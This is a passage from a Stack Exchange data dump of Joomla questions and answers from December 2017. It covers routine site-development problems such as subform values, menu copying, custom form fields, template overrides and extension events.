stdClass Object&#xA;                (&#xA;                    [repeatable_fields_map0] =&amp;gt; stdClass Object&#xA;                        (&#xA;                            [accreditationImage] =&amp;gt; images/accreditations/some-logo.jpg&#xA;                            [accreditationText] =&amp;gt; SomeText&#xA;                            [link] =&amp;gt; http://www.someurl.com&#xA;                        )&#xA;&#xA;                )&#xA;&#xA;            [moduleclass_sfx] =&amp;gt; &#xA;            [module_tag] =&amp;gt; div&#xA;            [bootstrap_size] =&amp;gt; 0&#xA;            [header_tag] =&amp;gt; h3&#xA;            [header_class] =&amp;gt; &#xA;            [style] =&amp;gt; 0&#xA;        )&#xA;&#xA;    [initialized:protected] =&amp;gt; 1&#xA;    [separator] =&amp;gt; .&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I need a foreach loop to access them, but I also know I can't use $params directly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at other questions such as this: &lt;a href=&quot;https://joomla.stackexchange.com/questions/10439/display-values-of-jformfieldrepeatable&quot;&gt;Display values of JFormFieldRepeatable&lt;/a&gt; but it seems they use &lt;code&gt;attrib&lt;/code&gt;s.  The thing that confuses me is that I don't see &lt;code&gt;attribs&lt;/code&gt; in the XML.  Is this a special Joomla! function or am I being a noob?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other  things I read which may help someone:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/17146/how-to-get-value-from-sub-form&quot;&gt;How to get value from Sub Form&lt;/a&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/18189/use-joomla-subform-field-values-in-custom-field-from-same-module&quot;&gt;use Joomla Subform field values in custom field from same module&lt;/a&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/20867/how-to-save-data-from-subform-fieldtype-in-joomla-3-7-custom-field&quot;&gt;How to save data from subform fieldtype in joomla 3.7 custom field&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2017-12-14T19:19:26.937" Title="How do I display the values from a subform" Tags="|subform|repeatable-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22028" PostTypeId="2" ParentId="18853" CreationDate="2017-12-06T09:29:06.653" Score="2" Body="&lt;p&gt;This is a pretty easy thing to do, it might just not be very easy to find or well documented. Follow these three steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1:&#xA;Create a new menu then go to the menu item(s) you would like to duplicate and select them all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2:&#xA;Select batch, in the bottom left under &quot;Move or copy&quot; select the menu you created in step 1 and underneath the title select &quot;Add to this menu&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3:&#xA;Select whether you would like to &quot;Move&quot; or &quot;Copy&quot; the menu items. Select process (bottom right)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the process is complete your new menu should be populated from an existing one. &lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2017-12-06T09:29:06.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22029" PostTypeId="1" CreationDate="2017-12-06T14:16:42.287" Score="0" ViewCount="602" Body="&lt;p&gt;I am making my own component in Joomla, which provides me login through an external site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last issue I need to solve is the login. When I trigger &lt;code&gt;onUserLogin&lt;/code&gt; event by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher-&amp;gt;triggerEvent('onUserLogin', array($response, $options));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works, but only for front-end site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have to do to login to the back-end? Is there any trick which would help me, for example manually create session and insert to db?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, what plugin method do I have to override?&lt;/p&gt;&#xA;" OwnerUserId="11971" LastEditorUserId="126" LastEditDate="2017-12-06T18:56:49.730" LastActivityDate="2018-11-04T00:06:49.043" Title="How to code login to backend in joomla" Tags="|joomla-3.x|administrator|login|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22032" PostTypeId="1" CreationDate="2017-12-06T21:58:16.400" Score="4" ViewCount="464" Body="&lt;p&gt;I'm developing a custom Joomla component for an application and would like to implement drag-and-drop ordering in a list view on the admin site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found an excellent guide here: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/14374/adding-drag-n-drop-ordering-in-component/14378#14378&quot;&gt;Adding drag-n-drop ordering in component&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, something is missing that is not allowing me to save the re-ordering of items. I found that my controller does implement the &lt;code&gt;saveOrderAjax()&lt;/code&gt; function because it extends &lt;code&gt;JControllerAdmin&lt;/code&gt;, but my model does not implement the &lt;code&gt;saveorder()&lt;/code&gt; function because, as it's a list view, I'm extending &lt;code&gt;JModelList&lt;/code&gt;, which does not implement &lt;code&gt;saveorder()&lt;/code&gt;. Only &lt;code&gt;JModelAdmin&lt;/code&gt; has the &lt;code&gt;saveorder()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error I get in the error log is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PHP Fatal error:  Call to undefined method&#xA;  MyComponentModelMyListModel::saveorder() in&#xA;  C:\xampp\htdocs\mysite\libraries\legacy\controller\admin.php on line n&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This makes no sense to me because a list view is supposed to use &lt;code&gt;JModelList&lt;/code&gt; for its corresponding model, right?&lt;br&gt;&#xA;Has anyone succeeded at this task without writing something entirely new?&lt;br&gt;&#xA;I don't think extending &lt;code&gt;JModelAdmin&lt;/code&gt; for my model here is practical.&lt;/p&gt;&#xA;" OwnerUserId="11972" LastEditorUserId="126" LastEditDate="2017-12-07T10:00:08.083" LastActivityDate="2018-06-30T23:37:21.067" Title="How to implement drag-and-drop ordering in custom component?" Tags="|joomla-3.x|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22033" PostTypeId="1" AcceptedAnswerId="22036" CreationDate="2017-12-07T00:41:29.360" Score="1" ViewCount="583" Body="&lt;p&gt;I'm trying to set up a multilingual site for Danish and English (US) languages. I've turned on the option &quot;Remove URL Language Code&quot; in the Language Filter plugin. This does remove the &quot;da&quot; codes from the Danish page URLs, but the English page URLs still contain &quot;en&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Danish is set as the default language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've renamed the URL language code for US English from &quot;en-us&quot; to just &quot;en&quot;. I tried renaming it back again, but that didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is running on IIS, if that's relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the URL: &lt;a href=&quot;http://modesty.dk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://modesty.dk/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10944" LastActivityDate="2017-12-07T09:47:36.897" Title="Language code 'en' not removed from URL" Tags="|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22034" PostTypeId="2" ParentId="22033" CreationDate="2017-12-07T01:07:26.410" Score="1" Body="&lt;p&gt;Never mind, I've discovered that this is how it's supposed to work. I found the answer here:&#xA;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=812094&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=812094&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10944" LastActivityDate="2017-12-07T01:07:26.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22036" PostTypeId="2" ParentId="22033" CreationDate="2017-12-07T09:41:03.083" Score="2" Body="&lt;p&gt;The remove language code refers to the site's default language. You can't remove the language code for all languages, as if we suppose something like this would be allowed by the plugin, you would end up with the same URLs for all languages and there would be no way to distinguish on which language and what kind of content you are requesting/looking at. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The language code (on SEF URLs) is the request that tells Joomla that you are requesting another language. So you can't live without it. Plus it also helps with creating a physical organization on your site's structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, again what this feature does is to remove the language code only for the default language, something that is a valid requirement for a multilingual website.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-12-07T09:47:36.897" LastActivityDate="2017-12-07T09:47:36.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22037" PostTypeId="2" ParentId="21848" CreationDate="2017-12-07T09:57:23.713" Score="1" Body="&lt;p&gt;Adding e-commerce functionality is not something that is done within the template. Template is for the look and feel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are right? I don't think so... Why to create a second site for extending the functionality of the current one? Certainly the fact that you are not familiar with a technology is not a good reason for this. What will happen if as a next task they ask you to add forum, or community features? Will you creating new websites each time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO, If you feel not capable to offer what they asked you, it's better to kindly reject the task.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-12-07T09:57:23.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22040" PostTypeId="1" AcceptedAnswerId="22119" CreationDate="2017-12-07T15:26:08.613" Score="2" ViewCount="166" Body="&lt;p&gt;We upgraded to 3.8.1 and since the upgrade the article titles and categories are not bolding as they did in the past.  We have an article-category module and I checked the tabs to see if there was anything there regarding the bolding of titles and I didn't find anything.  Does anyone know where I can fix this problem?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11962" LastActivityDate="2018-01-15T09:19:52.323" Title="Article title and category not bolding" Tags="|articles|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22041" PostTypeId="1" CreationDate="2017-12-07T15:59:19.570" Score="1" ViewCount="732" Body="&lt;p&gt;I've read this: &lt;a href=&quot;https://joomla.stackexchange.com/questions/15279/joomla-2-5-how-to-show-smart-search-results-on-their-own-page&quot;&gt;Joomla 2.5 How To show Smart Search results on their own page&lt;/a&gt;, but it seems to apply to J 2.5 only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed the steps here to set up Smart Search on a J 3.8.2 site: &lt;a href=&quot;https://docs.joomla.org/Smart_Search_quickstart_guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Smart_Search_quickstart_guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created the Smart Search module and assigned it a position of &quot;smart-search&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then created an article with just the content &lt;code&gt;{loadposition smart-search}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then created a &quot;Search&quot; menu item pointing to this article, its url is just &lt;code&gt;/smartsearch-2&lt;/code&gt;, then went back to the module and set its &lt;code&gt;ItemID&lt;/code&gt; to the new menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I select the menu, it takes me to this custom search page, i.e. my new article (/smartsearch-2), but when I enter a search term and click the search button there, the results are to what looks like the component page itself, i.e. the url is &lt;code&gt;/component/finder/search?q=&amp;amp;Itemid=246&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was expecting the search results to go back to the search page, i.e. &lt;code&gt;/smartsearch-2&lt;/code&gt;, since that's what the setup guide says it does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I misunderstood something here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The (test) site is &lt;a href=&quot;https://www.phonewebcam.co.uk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.phonewebcam.co.uk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11979" LastEditorUserId="12352" LastEditDate="2019-09-03T07:40:59.893" LastActivityDate="2020-01-31T08:02:15.440" Title="Smart Search always returning results to component, not the defined new page" Tags="|joomla-3.x|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22042" PostTypeId="2" ParentId="22040" CreationDate="2017-12-07T19:20:38.430" Score="2" Body="&lt;p&gt;I suspect that you had overridden some core code to add header tags to that module, and that the update has patched that core files, as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you copy &lt;code&gt;modules/mod_articles_category/tmpl/default.php&lt;/code&gt; to &lt;code&gt;templates/YOURTEMPLATE/html/mod_articles_category/default.php&lt;/code&gt; then you can override this file properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Wayback Machine, it looks like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;mod-articles-category-group&quot;&amp;gt;&amp;lt;?php echo $group_name; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;had been changed to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;&amp;lt;?php echo $group_name; ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and a &lt;code&gt;&amp;lt;h4&amp;gt;&lt;/code&gt; had been wrapped around the article title link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, it is probably going to be simplest/best to just do this with styles - I don't see why it needed an override in the first place as both items can be referenced without needing any new html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.mod-articles-category-group&lt;/code&gt; will reference the category title, and &lt;code&gt;.mod-articles-category-title&lt;/code&gt; the link title.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-12-07T19:20:38.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22049" PostTypeId="1" AcceptedAnswerId="22292" CreationDate="2017-12-08T18:00:52.937" Score="1" ViewCount="1473" Body="&lt;p&gt;I've had a look through the existing posts relating to my issue but haven't found one relevant, please feel free to point them out to me if I have missed one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have restricted access pages, thus have set these up on a hidden menu with 'registered' access, then set up a menu item alias set to 'guest' so that the link is visible in the menu - all good so far. The user clicks the link and is presented with the Login Page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem being now that once the user actually logs in, there is no redirect. Obviously, I would like them to be redirected to the page they originally tried to access that was previously restricted prior to login. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was sure this was standard behaviour in Joomla, but now I'm back tracking trying to figure this out. There are a number of these links that I need to set up, so I'm hoping one of you wonderful people will be able to point me in the right direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is in development and is currently running J3.7.3 - I cannot update it at present due to some incompatible overrides for Mosets and JomSocial. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site can be viewed [here][1] - The menu item I am testing with is under Social &gt; Safety Guidelines in the footer of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I look forward to your input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2018-01-25T16:54:27.790" LastActivityDate="2022-05-29T22:32:20.920" Title="Login redirect to redirect to previous page" Tags="|joomla-3.x|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22051" PostTypeId="1" AcceptedAnswerId="22052" CreationDate="2017-12-08T23:45:41.573" Score="1" ViewCount="1184" Body="&lt;p&gt;Seems the only way to get a shortcode to function in Joomla is via placing it in an article, unlike 'do_shortcode' in WordPress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if my shortcode is for example, {msg userid=123}, how would I get it to dynamically grab the user id of the creator of the content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the following, but no luck...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo '&amp;lt;input type=&quot;hidden&quot; id=&quot;userID&quot; value=&quot;'.$resUid.'&quot; /&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;along with the javascript...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    var uid = jQuery(&quot;#userID&quot;).val();&#xA;    jQuery(&quot;.content&quot;).append('{msg userid='+uid+'}');&#xA;alert('uid:'+uid);&#xA;&amp;lt;/script&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can understand why it doesn't work, but is there any other method that maybe I don't know about like 'do_shortcode' in WordPress&lt;/p&gt;&#xA;" OwnerUserId="3581" LastEditorUserId="3581" LastEditDate="2017-12-09T20:57:47.077" LastActivityDate="2017-12-09T20:57:47.077" Title="How to place Joomla Shortcode in Template File" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22052" PostTypeId="2" ParentId="22051" CreationDate="2017-12-09T00:17:03.253" Score="2" Body="&lt;p&gt;The Joomla equivalent of do_shortcode is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$text = JHtml::_('content.prepare', $text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla doesn't implement short codes in the same way as WP. It runs content plugins on the article content, and the method above does the same thing for 3rd party extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, it doesn't sound like the problem you have has anything to do with shortcodes, nor does the code you posted seem to make any sense to me.  Perhaps you would be better off to change your question to explaining your real problem. &lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-12-09T00:17:03.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22055" PostTypeId="2" ParentId="496" CreationDate="2017-12-09T08:58:42.160" Score="0" Body="&lt;p&gt;I know this is a bit old this question but I was wondering the same thing and here is the solution I came up with if you change the templates index.php file with a bit of extra code you could create multiple module positions based on the subdomain, and then you assign the correct menu item to the relevant subdomain.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $dom = explode ( '.', str_replace ( '//', '.', JURI::base () ) ) ;&#xA;    $sub = ( in_array ( 'plus', $dom ) ? 'plus' : ( in_array ('group', $dom) ? 'group' : 'home' ) ) ;&#xA;    if ($this-&amp;gt;countModules('navigation'.$sub )) : ?&amp;gt;&#xA;        &amp;lt;nav class=&quot;navigation&quot;&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;navigation&amp;lt;?php echo $sub ?&amp;gt;&quot; style=&quot;html5&quot; /&amp;gt;&#xA;        &amp;lt;/nav&amp;gt;&#xA;    &amp;lt;?php  endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above example the line starting $sub is what you'd need to customise for your own website, at present the example creates a space for a navigation module depending on the subdomain - this was created for a site with two sub domains and a general domain and so it creates three navigation positions for each subdomain - navigationhome navigationplus and navigationgroup.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few things to note with the code - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to find the subdomain I've used the function in_array. I could have used a switch statement on $dom[1] to find the subdomain but this wouldn't work if someone typed something like www.plus.mysite.co.uk as www would be in $dom[1]... e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    switch ( $dom[1] )&#xA;    {&#xA;        case 'group' : $sub = 'group' ; break ;&#xA;        case 'plus' : $sub = 'plus' ; break ;&#xA;        default : $sub = 'home' ; break ;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the initial explode uses str_replace to replace // with . this is so that the initial http / https ends up in it's own array ($dom[0] will always contain the http/https which I suppose could be used further if you wanted to show different sites depending on the protocol loaded, if that wasn't there then is someone put in something like &lt;a href=&quot;http://plus.mysite.co.uk&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://plus.mysite.co.uk&lt;/a&gt; then the first array would contain &lt;a href=&quot;http://plus&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://plus&lt;/a&gt; and in_array would return no match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bear in mind that if the sub-domain is the same as the site domain then you'd need to make sure it's the last one in the ? : statement chain otherwise it will assign itself to other subdomains - e.g. if you had two sub domains one called site.site.co.uk and the other site1.site.co.uk the following statement would work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $sub = ( in_array ( 'site1' ) ? 'site1' : ( in_array ( 'site' ) ? 'site' : 'site' ) ) ;&#xA;    //it never reaches the in_array ( 'site' ) if sub domain is site1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but neither of these would work properly in that situation...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $sub = ( in_array ( 'site' ) ? 'site' : ( in_array ( 'site1' ) ? 'site1' : 'main' ) ) ; &#xA;    // all domains would be referred to as site because XXX.site.co.uk provides a match&#xA;    $sub = ( in_array ( 'site1' ) ? 'site1' : ( in_array ( 'site' ) ? 'site' : 'main' ) ) ; &#xA;    // www.site.co.uk would still be site and not main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's unlikely you'd be using these in this manner but it's worth noting.&lt;/p&gt;&#xA;" OwnerUserId="9893" LastActivityDate="2017-12-09T08:58:42.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22057" PostTypeId="1" CreationDate="2017-12-09T14:04:26.753" Score="2" ViewCount="3025" Body="&lt;p&gt;I use IPage. I got the website from the old provider and copied the files to IPage server and dumped the db. Both websites (in old and new server) are the same versions, but the old one is working fine and the new one throws that error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Using $this when not in object context&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I chatted with IPage technical support and they told me that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Our technical specialist checked and told problem is with Joomla applicatoin related error.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can fix that error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found out that php version on old server (working one) is 5.3.29 but in the new server is 7.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was Content - Booking Calendar extension. I disabled it and worked... But how I can fix this extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the message I get when I disable the extension. The message is in the place where the extension took place&lt;/p&gt;&#xA;" OwnerUserId="11989" LastEditorUserId="11989" LastEditDate="2017-12-11T20:44:48.783" LastActivityDate="2017-12-12T18:05:35.183" Title="Joomla 3.7.5 Using $this when not in object context" Tags="|joomla-3.7|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22060" PostTypeId="1" AcceptedAnswerId="22091" CreationDate="2017-12-11T06:45:36.887" Score="1" ViewCount="541" Body="&lt;p&gt;I am developing a component extension to create different forms for insurance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create a form in backend and save it by clicking the &lt;code&gt;Save&lt;/code&gt; or &lt;code&gt;Save &amp;amp; Close&lt;/code&gt; button, I am going to create a table in database. The suitable event could be &lt;code&gt;onExtensionAfterSave&lt;/code&gt; event in a plugin belonging to group Extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the question is this: I saw two different samples of this method:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;onExtensionAfterSave($data, $isNew)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;onExtensionAfterSave($context, &amp;amp;$table, $isNew)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Which is the right one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also to obtain paremeters, Can I use &lt;code&gt;JPlugin::params&lt;/code&gt; (params to my extension in the backend that are already created and saved to database)?&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="168" LastEditDate="2017-12-11T19:03:44.693" LastActivityDate="2020-04-30T09:27:53.577" Title="Joomla onExtensionAfterSave event" Tags="|joomla-3.x|component|plugin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22062" PostTypeId="1" CreationDate="2017-12-11T09:31:04.990" Score="5" ViewCount="581" Body="&lt;p&gt;My attempt is to re-build the example here:&#xA;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow, Joomla doesn't see the &lt;code&gt;City.php&lt;/code&gt; file in administrator/components/com_testing/models/fields.&#xA;Even when I force a syntax error inside the &lt;code&gt;City.php&lt;/code&gt; file (e.g. deleting an &lt;code&gt;;&lt;/code&gt; at the end of a line), no error is displayed. So I am assuming the &lt;code&gt;City.php&lt;/code&gt; file isn't even included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to include the new field path via &lt;code&gt;addfieldpath&lt;/code&gt; in &lt;code&gt;fieldset&lt;/code&gt;-definition and also with &lt;code&gt;JForm::addFieldPath(JPATH_COMPONENT . '/models/fields');&lt;/code&gt; in the model's &lt;code&gt;getForm&lt;/code&gt;-function.&#xA;Nothing worked so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output is a text input field, which I do not want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my source code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;City.php&lt;/code&gt; file is equivalent to the one in the link above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;administrator/components/com_testing/models/forms/testing.xml&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset addfieldpath=&quot;/administrator/components/com_testing/models/fields&quot;&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;testingfield&quot;&#xA;            type=&quot;City&quot;&#xA;            multiple=&quot;true&quot;&#xA;            size=&quot;7&quot;&#xA;            label=&quot;Testinglabel&quot;&amp;gt;&#xA;                    &amp;lt;option value=&quot;A&quot;&amp;gt;A&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;B&quot;&amp;gt;B&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;C&quot;&amp;gt;C&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;D&quot;&amp;gt;D&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;E&quot;&amp;gt;E&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;F&quot;&amp;gt;F&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;G&quot;&amp;gt;G&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11995" LastEditorUserId="12352" LastEditDate="2021-05-05T03:54:21.707" LastActivityDate="2021-05-05T03:54:21.707" Title="Custom Form Field not working in Windows environment" Tags="|form-fields-types|custom-field|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22063" PostTypeId="1" CreationDate="2017-12-11T11:58:10.227" Score="2" ViewCount="90" Body="&lt;p&gt;I'm looking around, but I still have not found anything on the subject. I need to hide the login button when a guest makes purchases, the store is created with Joomla and Virtuemart latest versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7532" LastActivityDate="2017-12-11T14:57:30.387" Title="Joomla and VirtueMart - Remove login button in checkout for guest" Tags="|joomla-3.x|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22064" PostTypeId="2" ParentId="22063" CreationDate="2017-12-11T14:57:30.387" Score="2" Body="&lt;p&gt;If the login button is a module, then assign that module to all pages except the checkout page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, then you will need to override the login module, and then have a condition in the overridden file to not display the button for guests who are on the checkout page. Here's &lt;a href=&quot;https://joomla.stackexchange.com/questions/9546/custom-component-need-to-verify-if-user-is-logged-in&quot;&gt;an answer&lt;/a&gt; for checking if a user is a guest.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-12-11T14:57:30.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
